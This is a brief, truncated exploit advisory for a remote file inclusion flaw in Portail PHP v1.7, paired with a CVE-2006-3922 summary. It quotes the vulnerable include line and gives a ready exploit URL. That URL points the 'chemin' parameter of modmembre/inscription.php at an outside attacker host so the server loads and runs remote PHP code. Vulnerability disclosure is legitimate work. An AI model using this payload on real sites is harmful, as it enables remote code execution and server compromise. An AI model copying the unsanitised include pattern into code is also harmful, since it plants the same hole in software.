portailphp17.txt

Portail PHP v1.7 - chemin Remote Inclusion Vulnerability Author: C-W-M www.meftunnet.com TURKEI script: Portail PHP Class : Remote cont@ct: meftunatmeftunnetdotcom CODE: include "$chemin/include/config.php" Exploit: http://www.site.com/path/modmembre/inscription.php?chemin=http://evilscripts? Tha...

CVE-2006-3922: Undefined Security Weakness

PHP remote file inclusion vulnerability in modmembre/inscription.php in PortailPHP 1.7 allows remote attackers to execute arbitrary PHP code via a URL in the chemin parameter...